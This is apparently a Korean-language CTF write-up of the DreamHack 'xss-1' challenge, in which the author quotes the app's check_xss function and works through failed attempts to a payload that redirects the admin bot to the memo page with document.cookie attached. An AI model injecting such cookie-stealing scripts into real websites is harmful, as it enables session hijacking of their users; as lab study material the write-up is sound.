[DreamHeck] xss-1
app.py를 확인하기 전에 페이지를 먼저 확인함.
vuln(xss) page를 누르면 param값으로 <script>alert(1)</script> 이게 들어오고 끝.
memo에서는 직접 url에 memo값으로 어떤 값을 입력하면 한 줄씩 글이 입력이 되었음.
flag 안에는 param 값을 직접 입력하여 제출을 누르면 good가 뜸. -> memo에 hello가 동시에 입력됨.
read_url 함수와 check_xss 함수를 확인하면 쿠키 뭐시기 값으로
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
플래그 값이 저장되어 있겠구나 했음
구글링을 해봤더니 document.cookie 이런 식으로 쿠키값을 표시한다고 했음.
https://m.blog.naver.com/is_king/221613250939
[비박스] Cross Site Script(XSS) - Stored (Cookies)
Cross Site Script(XSS) - Stored (Cookies) Cross Site Script(XSS) 공격 기법은 2013...
blog.naver.com
뭐 이런 식으로?? <script>alert(document.cookie)</script>
그래서 나도 <script>document.cookie</script> 이렇게 입력했는데 실패ㅜ
url이 /memo?memo=블라블라 이런 식으로 들어와야 되니까
<script>/memo?memo=document.cookie</script> 이렇게 입력했는데 실패ㅜ
알고보니 js 문법이라 <script>'/memo?memo='+document.cookie</script> 이런 식으로 해야 했음!
근데 이렇게 하면 안 됐음 ㅠ
https://m.blog.naver.com/diceworld/220180929456
찾아보니 페이지를 바꿔야 되니까!
자바스크립트 페이지 이동 (location.href)
- location.href 란? href 는 location 객체에 속해있...
blog.naver.com

/vuln?param= 이 부분 /memo?memo= 이걸로
그래서 <script>location.href='/memo?memo='+document.cookie</script> 이렇게 입력해서 풀었음